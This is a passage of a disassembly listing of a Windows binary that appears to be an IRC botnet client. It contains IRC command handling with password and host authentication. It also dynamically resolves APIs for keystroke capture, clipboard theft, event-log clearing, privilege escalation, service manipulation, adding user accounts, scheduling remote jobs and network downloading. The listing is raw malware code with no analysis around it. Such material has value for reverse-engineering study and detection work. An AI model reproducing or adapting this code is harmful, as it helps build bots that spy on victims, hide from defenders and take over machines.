[ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax call near ptr 2680EF8h nop loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h call near ptr 2680EF8h nop locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj call near ptr 269086Bh nop mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" call near ptr 26B0AD3h nop mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j call near ptr 269086Bh nop mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj nop call near ptr 269086Bh mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j nop call near ptr 269086Bh mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj nop call near ptr 269086Bh mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj call near ptr 269086Bh nop mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj nop call near ptr 269086Bh mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j nop call near ptr 269086Bh mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j nop call near ptr 269086Bh mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj call near ptr 269086Bh nop mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A476 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; 